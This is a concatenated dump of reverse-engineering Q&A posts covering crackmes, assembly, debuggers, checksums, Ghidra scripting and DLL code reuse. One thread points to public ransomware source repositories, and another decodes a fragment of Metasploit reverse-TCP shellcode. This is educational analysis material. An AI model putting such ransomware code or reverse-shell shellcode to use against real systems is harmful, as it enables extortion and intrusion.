<p>After analyzing the code, I have been able to understand and recreate the algorithm used to check if the password the binary takes is correct, but don't know how to solve it (or at least can't think of any approach that would be performant enough to finish within feasible time).</p> <p>The first three letters of the expected password can be easily seen in the disassembly, as well as the length of the password being 16 letters.</p> <p>Then it gets a little tricky, as the program enters a loop summing up the ASCII values of different letters of the password into 4 variables, which are afterwards checked against a value each after being taken modulo 100, which have to be met for the password to be regarded as &quot;correct&quot;</p> <p>To be more exact, the letters are summed up as follows (indices in the password starting from 1: Var1: 1, 3, 4, 6, 7, 11, 12, 14, 15 Var2: 1, 3, 5, 7, 9, 11, 13, 15 Var3: 2, 5, 8, 11, 14 Var4: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15</p> <p>This also tells me, that given I didn't understand the code completely wrong, the last letter of the password is not relevant as well.</p> <p>Anyways, my question would be, if with the information present this problem is even solvable, and if yes, what approach would make sense, as brute-forcing obviously doesn't.</p>
Password evaluated from the sum of ASCII letters
|static-analysis|encodings|crackme|
<p>Here are some links you may find helpful:</p> <ul> <li><a href="https://github.com/goliate/hidden-tear" rel="nofollow noreferrer">https://github.com/goliate/hidden-tear</a></li> <li><a href="https://github.com/mauri870/ransomware" rel="nofollow noreferrer">https://github.com/mauri870/ransomware</a></li> <li><a href="https://webcourse.cs.technion.ac.il/236499/Spring2018/comp/WCFiles/Projects-in-Ransomware-2018-spring-v02.pdf" rel="nofollow noreferrer">PDF</a>, containing some interesting links</li> </ul> <p>You can also look for MSIL binaries, deobfuscate using <a href="https://github.com/0xd4d/de4dot" rel="nofollow noreferrer">de4dot</a> and decompile using <a href="https://github.com/0xd4d/dnSpy" rel="nofollow noreferrer">dnSpy</a>. If sample is not strongly protected, you will get output as readable as the source code.</p>
25885
2020-09-14T14:07:33.027
<p>Have been searching ransomware source codes for analysis(as much as possible). I have already checked with sites like Any.Run but most of their samples are .exe and binary files. Does any one have any leads to a place I can get the source codes especially for ransomware?</p>
Ransomware Source Codes
|malware|ransomware|
<p>Registers <code>ss</code>, <code>cs</code>, <code>ds</code>, <code>es</code>, <code>gs</code>, <code>fs</code> are special. They are called <em>segment registers</em> and contain not addresses but <em>selectors</em>.</p> <p>A selector is used by the CPU as a reference to a segment - area of memory with a specific base (start address), limit (end address) and permissions.</p> <p>Selectors and segments are set up by the OS and in theory there may be many different segments, however in practice all modern OSes use flat memory segments (0 to 0xFFFFFFFF for 32-bit processes) for the standard code and data segments (<code>ss</code>, <code>cs</code>, <code>ds</code>)<sup>1</sup>. This means that in the expression <code>ss:[ebp+8]</code>, only the value of <code>EBP</code> is used for calculating the address. In your case it is indeed correct that</p> <p>EBP + 8 = 006FFB50 + 8 = 006FFB58</p> <p>which matches the value shown in brackets.</p> <p>However, the value after the <code>=</code> sign in the debugger is <strong>not</strong> the result of the calculation but the value which is present <em>in memory</em> at that address. If you open a memory dump and go to address 006FFB58, you should see <code>006FFC98</code> there.</p> <p>The brackets in the debugger hint signify <strong>memory dereference</strong>, similarly to the assembly syntax.</p> <p><sup>1</sup> <code>gs</code> and <code>fs</code> are treated differently and are usually used for Thread Local Storage (TLS) block which is different for every thread and does not start at 0 so e.g. fs:0 does not map to the RAM address 0.</p>
25892
2020-09-15T11:40:13.260
<p>I have an assembly row which the following information:</p> <pre><code>EBP = 006FFB50 SS = 002B </code></pre> <p>When I looked on this row:</p> <pre><code>mov eax,dword ptr ss:[ebp+8] </code></pre> <p>I assumed that EBP + 8 = 006FFB50 + 8 = 006FFB58.<br /> But according to x64DBG, this is the result:</p> <pre><code>dword ptr [ebp+8]=[006FFB58]=006FFC98 </code></pre> <p>I don't understand how it was calculated.<br /> Why <code>ss:[006FFB58]</code> is equal to <code>006FFC98</code>?</p> <p>Picture for reference with more information:<br /> <a href="https://i.stack.imgur.com/MZbco.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MZbco.png" alt="enter image description here" /></a></p>
How to calculate value inside stack segment (SS)
|assembly|x64dbg|stack|
<p>The code is buggy. <code>rax</code> is used to store the original value of <code>rsp</code> and restore it at exit, but it’s also used as a temporary register in the loop in the middle of the function.</p> <p>I suspect that this function was written manually in assembly but not actually tested on real hardware so the bug went unnoticed or, possibly, modified after initial testing and someone missed the fact that <code>rax</code> is used for two different purposes.</p>
25893
2020-09-15T12:23:55.477
<p>Have an application that only crashes if CPU has SHA extensions. After some investigation find a hashing routine that only occurs if CPU has SHA extensions.</p> <p>I'm trying to confirm if issue is with input data or a bug in the application, original source code is not available. If a possible bug in the application trying to think what a possible original C code might look like that would generate this type of crash.</p> <p>The routine has the following disassembly:</p> <pre><code>X86_64_SHAEXT_SHA1Transform proc near ; DATA XREF: X86_64_EnableCPUFeatures+14E↑o arg_0 = qword ptr 8 arg_8 = qword ptr 10h mov [rsp+arg_0], rdi mov [rsp+arg_8], rsi mov rdi, rcx mov rsi, rdx mov rdx, r8 mov rax, rsp lea rsp, [rsp-48h] movaps xmmword ptr [rax-48h], xmm6 movaps xmmword ptr [rax-38h], xmm7 movaps xmmword ptr [rax-28h], xmm8 movaps xmmword ptr [rax-18h], xmm9 movdqu xmm0, xmmword ptr [rdi] movd xmm1, dword ptr [rdi+10h] movdqa xmm3, cs:xmmword_7FFE8439F4A0 movdqu xmm4, xmmword ptr [rsi] pshufd xmm0, xmm0, 1Bh movdqu xmm5, xmmword ptr [rsi+10h] pshufd xmm1, xmm1, 1Bh movdqu xmm6, xmmword ptr [rsi+20h] pshufb xmm4, xmm3 movdqu xmm7, xmmword ptr [rsi+30h] pshufb xmm5, xmm3 pshufb xmm6, xmm3 movdqa xmm9, xmm1 pshufb xmm7, xmm3 jmp loc_7FFE8439F940 ; --------------------------------------------------------------------------- align 20h loc_7FFE8439F940: ; CODE XREF: X86_64_SHAEXT_SHA1Transform+74↑j ; X86_64_SHAEXT_SHA1Transform+28A↓j dec rdx lea rax, [rsi+40h] paddd xmm1, xmm4 cmovnz rsi, rax movdqa xmm8, xmm0 sha1msg1 xmm4, xmm5 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 0 sha1nexte xmm2, xmm5 pxor xmm4, xmm6 sha1msg1 xmm5, xmm6 sha1msg2 xmm4, xmm7 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 0 sha1nexte xmm1, xmm6 pxor xmm5, xmm7 sha1msg2 xmm5, xmm4 sha1msg1 xmm6, xmm7 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 0 sha1nexte xmm2, xmm7 pxor xmm6, xmm4 sha1msg1 xmm7, xmm4 sha1msg2 xmm6, xmm5 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 0 sha1nexte xmm1, xmm4 pxor xmm7, xmm5 sha1msg2 xmm7, xmm6 sha1msg1 xmm4, xmm5 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 0 sha1nexte xmm2, xmm5 pxor xmm4, xmm6 sha1msg1 xmm5, xmm6 sha1msg2 xmm4, xmm7 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 1 sha1nexte xmm1, xmm6 pxor xmm5, xmm7 sha1msg2 xmm5, xmm4 sha1msg1 xmm6, xmm7 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 1 sha1nexte xmm2, xmm7 pxor xmm6, xmm4 sha1msg1 xmm7, xmm4 sha1msg2 xmm6, xmm5 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 1 sha1nexte xmm1, xmm4 pxor xmm7, xmm5 sha1msg2 xmm7, xmm6 sha1msg1 xmm4, xmm5 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 1 sha1nexte xmm2, xmm5 pxor xmm4, xmm6 sha1msg1 xmm5, xmm6 sha1msg2 xmm4, xmm7 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 1 sha1nexte xmm1, xmm6 pxor xmm5, xmm7 sha1msg2 xmm5, xmm4 sha1msg1 xmm6, xmm7 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 2 sha1nexte xmm2, xmm7 pxor xmm6, xmm4 sha1msg1 xmm7, xmm4 sha1msg2 xmm6, xmm5 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 2 sha1nexte xmm1, xmm4 pxor xmm7, xmm5 sha1msg2 xmm7, xmm6 sha1msg1 xmm4, xmm5 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 2 sha1nexte xmm2, xmm5 pxor xmm4, xmm6 sha1msg1 xmm5, xmm6 sha1msg2 xmm4, xmm7 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 2 sha1nexte xmm1, xmm6 pxor xmm5, xmm7 sha1msg2 xmm5, xmm4 sha1msg1 xmm6, xmm7 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 2 sha1nexte xmm2, xmm7 pxor xmm6, xmm4 sha1msg1 xmm7, xmm4 sha1msg2 xmm6, xmm5 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 3 sha1nexte xmm1, xmm4 pxor xmm7, xmm5 sha1msg2 xmm7, xmm6 movdqu xmm4, xmmword ptr [rsi] movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 3 sha1nexte xmm2, xmm5 movdqu xmm5, xmmword ptr [rsi+10h] pshufb xmm4, xmm3 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 3 sha1nexte xmm1, xmm6 movdqu xmm6, xmmword ptr [rsi+20h] pshufb xmm5, xmm3 movdqa xmm2, xmm0 sha1rnds4 xmm0, xmm1, 3 sha1nexte xmm2, xmm7 movdqu xmm7, xmmword ptr [rsi+30h] pshufb xmm6, xmm3 movdqa xmm1, xmm0 sha1rnds4 xmm0, xmm2, 3 sha1nexte xmm1, xmm9 pshufb xmm7, xmm3 paddd xmm0, xmm8 movdqa xmm9, xmm1 jnz loc_7FFE8439F940 pshufd xmm0, xmm0, 1Bh pshufd xmm1, xmm1, 1Bh movdqu xmmword ptr [rdi], xmm0 movd dword ptr [rdi+10h], xmm1 movaps xmm6, xmmword ptr [rax-48h] movaps xmm7, xmmword ptr [rax-38h] movaps xmm8, xmmword ptr [rax-28h] movaps xmm9, xmmword ptr [rax-18h] mov rsp, rax mov rdi, [rsp+arg_0] mov rsi, [rsp+arg_8] retn X86_64_SHAEXT_SHA1Transform endp </code></pre> <p>Function is called like this:</p> <pre><code> 00007ffe`8437223d ff15ade82100 call qword ptr [crypto!g_pSHA1Transform (00007ffe`84590af0)] ds:00007ffe`84590af0={crypto!X86_64_SHAEXT_SHA1Transform (00007ffe`8439f8c0)} 00007ffe`84372243 4803ee add rbp,rsi </code></pre> <p>When function enters, correct return address is on stack:</p> <pre><code>00007ffe`8439f8c0 48897c2408 mov qword ptr [rsp+8],rdi ss:00000000`023fb6d0=00008bca8073ce32 0:000&gt; dd @rsp 00000000`023fb6c8 84372243 00007ffe 8073ce32 00008bca &lt;- return address on stack 00000000`023fb6d8 47474747 00000000 00000004 00000000 00000000`023fb6e8 00000060 00000000 00000005 00000000 00000000`023fb6f8 8435e9af 00007ffe 00000078 00000000 00000000`023fb708 00000000 00000000 023fb800 00000000 00000000`023fb718 00000060 00000000 00000000 00000000 00000000`023fb728 00000000 00000000 00000000 00000000 00000000`023fb738 00000000 00000000 00000000 00000000 </code></pre> <p>Here return address is trashed:</p> <pre><code>00007ffe`8439f8c0 48897c2408 mov qword ptr [rsp+8], rdi 00007ffe`8439f8c5 4889742410 mov qword ptr [rsp+10h], rsi 00007ffe`8439f8ca 4889cf mov rdi, rcx 00007ffe`8439f8cd 4889d6 mov rsi, rdx 00007ffe`8439f8d0 4c89c2 mov rdx, r8 00007ffe`8439f8d3 4889e0 mov rax, rsp 00007ffe`8439f8d6 488d6424b8 lea rsp, [rsp-48h] &lt;- Trashes return address on stack </code></pre> <p>AFter this executes, return address gone :</p> <pre><code>0:000&gt; dd @rsp 00000000`023fb680 47474747 47474747 00000000 47474747 </code></pre> <p>When retn executes it's still broken, 0x548ec86043f333c9 doesn't point to any valid memory.</p> <pre><code>0:000&gt; dd @rsp 00000000`023fb980 43f333c9 548ec860 240b3e9b 8cfc35f9 &lt;- Not a valid memory location on stack </code></pre> <p>It seems the intention is rsp is backed up in rax, and restored at end of function:</p> <pre><code>mov rax, rsp lea rsp, [rsp-48h] ; &lt;processing code&gt; mov rsp, rax mov rdi, qword ptr [rsp+8] mov rsi, qword ptr [rsp+10h] ret </code></pre> <p>However rax is changed during function:</p> <pre><code>lea rax, [rsi+40h] </code></pre> <p>If rax hadn't changed the return address would still be correct. Is there a scenario when this code could have actually worked?</p>
Application only Crashes on CPU with SHA extension
|c|amd64|
<p>I think there may be some noise on the line. Lauren Labell has a tool to try and automate reversing checksums: <a href="https://github.com/laurenlabell/checksum_finder" rel="nofollow noreferrer">https://github.com/laurenlabell/checksum_finder</a></p> <p>Here's what it generated:</p> <pre><code># start: 0 end: 0 check: 13 foldOp: &lt;built-in function sub&gt; finalOp: &lt;built-in function add&gt; magicValue: 0xaa # ================================================================================ # Generated Code # -------------------------------------------------------------------------------- import operator def twosComp(n): return -n def onesComp(n1, n2): mod = 1 &lt;&lt; 8 result = n1 + n2 return result if result &lt; mod else (result + 1) % mod def pad(xs,w): n = len(xs) target_n = (-(-n//w)) * w delta = target_n - n xs_padded = xs+[0]*delta return xs_padded def chunk(xs,w): xs_chunked = [xs[i:i+w] for i in range(0,len(xs),w)] return xs_chunked def to_int(x): return int.from_bytes(bytes(x),'big') def preprocess(hex_str,w): hex_str = ''.join(hex_str.split(' ')) xs = [x for x in bytes.fromhex(hex_str)] xs_padded = pad(xs,w) xs_chunked = chunk(xs_padded,w) xs_ints = [to_int(x) for x in xs_chunked] return xs_ints def calculate_checksum(payload): magicValue = 0xaa mask = 0xFF checksum = 0 for element in payload: checksum = operator.sub(checksum,element) checksum = operator.add(checksum,magicValue) return checksum &amp; mask def validate_message(rawmsg): msgStart = 0 msgEnd = 0 checksumPos = 13 width = 1 msg = preprocess(rawmsg,width) payload = msg[msgStart:] checksum = msg[checksumPos] payload[checksumPos] = 0 return calculate_checksum(payload) == checksum # ================================================================================ # Unit Tests # -------------------------------------------------------------------------------- print(validate_message('9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19'),'9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19') print(validate_message('9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19'),'9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19') print(validate_message('97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19'),'97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19') print(validate_message('a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19'),'a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19') print(validate_message('a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59'),'a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59') # -------------------------------------------------------------------------------- # End Generated Code # -------------------------------------------------------------------------------- </code></pre>
25894
2020-09-15T13:11:50.317
<p>I'm trying to control an air conditioning unit. The app and the unit communicate using the <a href="https://github.com/mjg59/python-broadlink" rel="nofollow noreferrer">Broadlink protocol</a>. I can decode the settings it's sending and replay them.</p> <p>The payload is 32 bytes but only the middle 15 ever change (prefixed with <code>19 00 bb 00 06 80 00 00 0f 00 01 01</code> and suffixed with zeros). I think the last two bytes are some kind of checksum, but I'm unsuccessful in recreating it.</p> <p>Here's a sample (<a href="https://pastebin.com/ph6Bg8aD" rel="nofollow noreferrer">more</a>):</p> <pre><code>9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19 9f e4 07 60 00 20 00 00 20 00 00 00 00 67 19 9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19 97 e4 87 60 00 20 00 00 20 00 00 00 00 ef 18 97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19 9f e4 87 60 00 20 00 00 20 00 00 00 00 e7 18 a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19 a7 e4 07 60 00 80 00 00 20 00 00 00 00 5e b9 a7 e4 07 40 00 20 00 00 20 00 00 00 00 5f 39 a7 e4 07 20 00 20 00 00 20 00 00 00 00 5f 59 a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59 </code></pre> <p>I think it's related to a sum because the same number of bits change in the sum, but I've calculated the difference and the XOR between the sum and the actual checksum and they aren't constant. Also tried reversing the bits with no luck.</p>
What checksum algorithm is this?
|crc|protocol|
<p>I found that I can convert the address to one line.<br /> This is before:<br /> <a href="https://i.stack.imgur.com/mDw2h.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mDw2h.png" alt="enter image description here" /></a></p> <p>If I put the cursor on <code>68h</code> and press in the keyboard <code>d</code> it add it to one line and complete it like that:<br /> <a href="https://i.stack.imgur.com/offqF.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/offqF.png" alt="enter image description here" /></a></p> <p>Another thing, the address was incorrect, it was <code>0044DF68</code> and <strong>not</strong> <code>680df44</code>.<br /> So I can just jump to this address by pressing the <code>g</code> key and type the address <code>0044DF68</code>.</p>
25903
2020-09-16T06:32:31.437
<p>While debugging a program, I have an address <code>0011E028</code> in <code>eax</code> that points to another address: <code>680df44</code>:<br /> <a href="https://i.stack.imgur.com/2PypO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2PypO.png" alt="enter image description here" /></a></p> <p>I wanted to see what appear inside the address <code>680df44</code> so I go to <code>Search &gt; sequence of bytes...</code> (Alt+B) in IDA and searched for <code>680df44</code> but it didn't find this address:</p> <pre><code>Searching down CASE-INSENSITIVELY for binary pattern: 44 DF 80 06 Search failed. Command &quot;AskBinaryText&quot; failed </code></pre> <p>I thought maybe the order was incorrect so I change it to <code>40f40d68</code> and it still failed:</p> <pre><code>Searching down CASE-INSENSITIVELY for binary pattern: 68 0D F4 40 Search failed. Command &quot;AskBinaryText&quot; failed </code></pre>
Can't find sequence of bytes in IDA while debugging
|ida|address|
<p>You can add an uninitialized block of memory in the <code>Memory Map</code> window. Hit the little green &quot;Add a new block to memory&quot; button.</p> <p><a href="https://i.stack.imgur.com/3JO1P.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3JO1P.png" alt="Add a new block button" /></a></p> <p>Change the start address to an area not currently mapped, specify the length of the block you wish to allocate, and select <code>Uninitialized</code>.</p> <p><a href="https://i.stack.imgur.com/tkygl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tkygl.png" alt="menu" /></a></p>
25908
2020-09-16T14:11:35.413
<p>The code under inspection is a native Android library used in an Android application. The decompiler is showing me a lot of lines in the style <code>DAT_12345678 = 0x12345678</code> with ascending addresses. I know that this is the initialization of an uninitialized array.</p> <p>When I want to set the data type, I get the error message <code>Address not found in program memory.</code>.</p> <p>I guess I have to create a memory block first, but in the <code>Memory Map</code> window I do not see an option to add blocks.</p> <p>How can I fix that? Thanks.</p>
How to create an uninitialized variable in Ghidra?
|ghidra|
<p>You can click on the top part of the desired window (which is blue in color when selected, and which has the title of the window written in it). You can then hold and drag it out of the screen.</p> <p>At this point, it may appear weird that only this title bar is moving with your mouse, but try releasing the mouse button while this title bar is someone outside the ghidra screen, e.g., on another monitor even. You'll find that the window pops out and you can resize it, etc., as you please.</p> <p>If on the other hand, you release it somewhere else within the ghidra screen, that repositions the window, possibly opening another tab to share the space with existing window(s) in that location.</p>
25910
2020-09-16T16:03:18.360
<p><img src="https://cdn.discordapp.com/attachments/598608711186907150/755818335987564655/unknown.png" alt="Ghidra Window" /></p> <p>This is very small and inconvenient to read. How do i open new Window (any shortcut key) or resize it, for some reason i cant resize. Any help?</p> <p>EDIT: Oh thanks Shane Riley, i clicked the blue button and suddenly it opened a new dialog box this is what i wanted. Then when i clicked closes, the Ghidra looks like this and i got my answer, the blue Cf like thing opened new dialog box <a href="https://i.stack.imgur.com/wS7Qy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wS7Qy.png" alt="enter image description here" /></a></p>
How to open new window of decompiler or resize the decompiler of Ghidra?
|debugging|elf|ghidra|binary|decompiler|
<p>je is normally used with cmp instruction like</p> <pre><code>cmp Reg16/32/64,const je someplace </code></pre> <p>while jz is normally used to check specifically for 0 or null like</p> <pre><code>dec reg16/32/64 jz someplace </code></pre> <p>i just modified your code to an infinite loop and emulated it in x86 emulator see below for code and gif.</p> <p>code</p> <pre><code>mov ax, 0x2 dec ax and ax, 0x1 jz equal je equal test ax, 1 jz equal je equal cmp ax, 1 redo: jz equal equal: je redo </code></pre> <p><a href="https://i.stack.imgur.com/nB2en.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/nB2en.gif" alt="enter image description here" /></a></p>
25953
2020-09-22T18:19:45.483
<p>I have read that TEST does a bitwise and on the two arguments. I have also read that jz and je are both equivalent, and jump if the zero flag is set. So here's the problem I'm struggling with. Consider the (rather useless) following code:</p> <pre><code>mov ax, 0x2 test ax, 0x2 je equal mov ax, 0x0 jmp done equal: mov ax, 0x1 done: </code></pre> <p>Logically, &quot;jump if equal&quot; should jump, but 0x2 &amp; 0x2 should not set the zero flag. As I understand jz/je will jump if the zero flag is set, this means je is not logically doing what it implies (&quot;jump if equal&quot;). And in practice, the code will fall through and set ax to 0x0, rather than jumping and setting ax to 0x1.</p> <p>Can anyone explain where my understanding is going wrong? Clearly I'm not understanding something correctly.</p> <p>Thanks!</p>
Help understanding x64 TEST instruction
|assembly|x86-64|
<p>I'm starting in RE too (since beggining of 2020), and I thought I could put here what I've learned so far. Maybe it might be of help.</p> <p>So first of all, you need Assembly knowledges. You asked if it's still worth to learn x86 because there is x64 now. Well, that's a thing I learned too. x64 is just an extension of x86. The real name for x64 is actually x86_64. I learned Intel 8086 Assembly (university) with the help of EMU8086 (old program that emulates 8086 processor in which you can assembly Assembly programs and debug them - I'd recommend you to use MASM or another one to get real feeling of it, because you can write a program on the emulator like 2 MOVs and an INT and it will run, without sections and whatever --&gt; and that's wrong, it just allows you not to write those things and it will for you, but then you don't learn everything).</p> <p>If you learn 8086 Assembly (which is a 16-bit processor), it should give you many insights of how modern programs work. Won't give you everything though. Will help with the instructions as some didn't change much (maybe more things that I don't know), but won't help you make a program in Assembly. For that you need to learn more deeply about 32-bit and maybe 64-bit Assembly programming (something I haven't done yet) - as a start, you don't have direct access to hardware in 32/64 bits as you do in 16-bit.</p> <p>Then you need a Disassembler (I love IDA - there's a free version: IDA 7.0 Freeware). Code some simple (or not?) programs in C and then disassemble them and see how they were made. If you want to go more than that, find simple programs on the Internet, compile them without looking and try to translate to C. That helped me. I had programs I had coded for university classes that I didn't remember anymore, so I used those.</p> <p>You might also want to learn about how a PE executable is made, if you'll work on Windows. I'm just learning about that. I'm reading a book called &quot;Portable Executable File Format - A Reverse Engineer View&quot;. No idea if it's good or not, but it's telling me cool things about how they're made, like headers and sections, which was something on my list to learn. If you want to change a program, like adding or removing functionality, you may need to mess with the header - unless you just patch some bytes on it without changing the size of the file in any way. Then there's no need to mess with the header (I've patched a file like that a month ago as the first and only time for now - was AWSOME!!!).</p> <p>You could also learn Binary Exploitation, but not sure if that's what you want. If you do want this, I could recommend you an YouTube channel as a beggining to it: LiveOverflow, with this playlist: <a href="https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN" rel="nofollow noreferrer">https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN</a>. He has some more playlists on exploitation, by that way. That's applying old exploits though, but it's an introduction (was to me, at least, even though I stopped because I want to patch programs to improve them for now and not exploit them in real-time - that's after I learn how to patch, as it seems more advanced).</p> <p>By the way, I wrote this in the order I did the things (except exploitation and learning about PE format, but the order I wrote it should have been the one I'd have used - too excited that I just started with the videos hahaha).</p> <p>Of course, this is a begginer's answer. So a more &quot;professional&quot; answer probably is better. But I just wanted to say what I've done as a begginer's view of 2020 in learning RE, even if wrong in any (or more) aspects (<em>please correct me if anything I said is wrong</em>). Hope this helps in any way! This was big hahaha.</p> <p><strong>PS:</strong> I forgot something up there, but I'll put it here. You need to learn C... Maybe even BEFORE Assembly, like I did (university classes order). Go deep enough to go to pointers. See how that works. Make linked lists, for example. Or binary trees. Go to that level (do everything you need to learn before that, of course, but get to that). Then start Assembly and you shall see better what's happening behind the scenes when you make the programs you made to train on C.</p> <p><strong>EDIT:</strong> Since you said &quot;game hacking&quot;, seems a good place to say it... PLEASE don't hack to the bad part. Make cool mods, or whatever you'd like to do (I love mods on games). But don't make them online or something, or if you do, don't put stupid options... On PS3, GTA 5 Online is awful. Being able to lower levels of others, take stuff from them (give them stuff too, but it's possible to take which is worse and I'd prefer I could do none in that case) - BAN accounts without authorization from Rockstar... That's, I don't even have a word... Don't get to that...</p>
25979
2020-09-26T21:50:37.697
<p>I'm new in reversing and I'd like a lot to learn about it. I have little to no knowledge about it. Is still worth to learn x86 Assembly? Since almost everything these days work on x64 architecture. What would be your advice for someone who's starting out just like me? Some books, guides, tips, what to learn and what not, and why... (I'm manly interested in game hacking, I also have an intermediate level of Python and C#).</p> <p>Thanks!</p>
How to start out in reversing?
|windows|python|c#|
<p>The <code>connect</code> syscall takes a <code>sockaddr</code> structure as an argument, which looks something like this:</p> <pre><code>struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; }; </code></pre> <p>They aren't extracting 4444, it's simply passed on the stack as a two-byte short. You are passing to <code>connect</code>, in little-endian order:</p> <ul> <li><code>sin_family: 0x0002 (AF_INET)</code></li> <li><code>sin_port: 0x5c11 (4444 in hex, little endian)</code></li> <li><code>sin_addr: 0x0100007F ([127] [0] [0] [1], little endian)</code></li> </ul>
25981
2020-09-27T09:17:27.550
<p>I saw <a href="https://github.com/rapid7/metasploit-framework/blob/e6a741011fed35d97ceb734e1b31e6e58507a9a3/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm#L41" rel="nofollow noreferrer">this</a> shellcode and when they use the <code>connect</code> function they pass the port number 4444:</p> <pre><code>set_address: push byte 0x05 ; retry counter push 0x0100007F ; host 127.0.0.1 push 0x5C110002 ; family AF_INET and port 4444 mov esi, esp ; save pointer to sockaddr struct </code></pre> <p>Or in <a href="https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-3/" rel="nofollow noreferrer">other website</a> like that:</p> <pre><code>0000001A push dword 0x5c110002 ; [0x5c110002, 0x81caa8c0, 0x1, 0x0] // sin_port and sin_family (4444, 0x0002) </code></pre> <p>But they push <code>0x5C110002</code>, how they extract 4444 from <code>0x5C110002</code>?</p>
How to extract port number from shellcode
|assembly|shellcode|
<p>The <code>Symbol</code> object has a couple different ways you could go about this. Here are a few options.</p> <pre class="lang-py prettyprint-override"><code>symbols = set(currentProgram.getSymbolTable().getAllSymbols(True)) for s in symbols: if s.getName() == &quot;b2&quot;: print(s.getName(), s.getName(True), s.getParentSymbol().getName(), s.getParentNamespace()) </code></pre> <p>Output:</p> <pre><code>GetSymbolType.py&gt; Running... (u'b2', u'b2', u'global', Global) (u'b2', u'foo()::b2', u'foo()', foo()) (u'b2', u'main::b2', u'main', main) </code></pre> <p>Explanation:</p> <ol> <li><code>s.getName(true)</code> - Includes the parent namespace in the output (you'll notice that for global symbols, this has no effect)</li> <li><code>s.getParentSymbol().getName()</code>, name of the parent <code>Symbol</code>, which will be the namespace <code>Symbol</code> that contains <code>s</code></li> <li><code>s.getParentNamespace()</code> - return the parent <code>Namespace</code> object</li> </ol> <p>More details in the <a href="https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/Symbol.html" rel="nofollow noreferrer">API docs</a>.</p>
25989
2020-09-27T19:05:42.073
<p>I have a following program:</p> <pre><code>int b2[4]; int foo() { static int b2[10]; b2[5] = 4; } int main() { static int b2[10]; int b[5]; b[0] = 1; b2[9] = 4; int *ptr = b; int c = *(ptr + 10); foo(); return 0; } </code></pre> <p>I want to distinguish between different b2 arrays defined in functions foo, main and globally. I can collect all the symbols using:</p> <pre><code>symbols = set(currentProgram.getSymbolTable().getAllSymbols(True)) for s in symbols: print(s.getName()) </code></pre> <p>But, there is no way to distinguish between static (in functional namespace) and global symbols.</p> <p>Ghidra GUI shows me something like: b2.1913 &lt;- main , b2.1917 &lt;- foo, b2 &lt;- global.</p> <p>Thus I can easily distinguish between these symbols using GUI.</p> <p>Thanks in advanced for your help.</p>
ghidra scripting: how to distinguish between function and global symbol
|ghidra|
<p><a href="https://reverseengineering.stackexchange.com/a/26024/182">josh's answer</a> is a good one, but one thing to note is that there is an alternative scheme that (usually) does not require inline assembly, and which handles the virtual functions case also. This is how I prefer to interact with C++ programs when I'm doing DLL injection/code reuse like your question is asking.</p> <p>Begin by defining <em>something</em> for the class whose methods you want to call. If you know the full class declaration, recreate it in your calling program. If you know less than that -- say, you only know the size of the class -- you can do something like:</p> <pre><code>class MyClass { public: char mData[0x80]; // sizeof(MyClass) = 0x80 }; </code></pre> <p>(If you don't know the size of the class, pick a large number in place of <code>0x80</code> and hope for the best. If the program crashes, pick a larger number and try again. Really though, try to figure out the size of the class, at minimum.)</p> <p>Now, we can use <strong>member function pointers</strong> to force the compiler to set <code>ecx</code> (the <code>this</code>) pointer for us during the function pointer call. Namely:</p> <pre><code>typedef void (MyClass::*FuncToCall)(int arg1, void *arg2); </code></pre> <p>Similarly to josh's answer, now we want to cast the raw address of the member function in the DLL to a member function pointer of that type, and then call it:</p> <pre><code>#define FUNC_OFFSET 0x4320 FuncToCall f = (FuncToCall)((byte*)pDLL + FUNC_OFFSET); MyClass *m = new MyClass(); m-&gt;*f(123, NULL); // member function pointer invocation syntax </code></pre> <p><strong>EDITED TO NOTE</strong>: in my original answer, I'd forgotten to note that C++ is not as liberal about accepting casts of arbitrary types to member function pointers as C is about casting to ordinary function pointers. 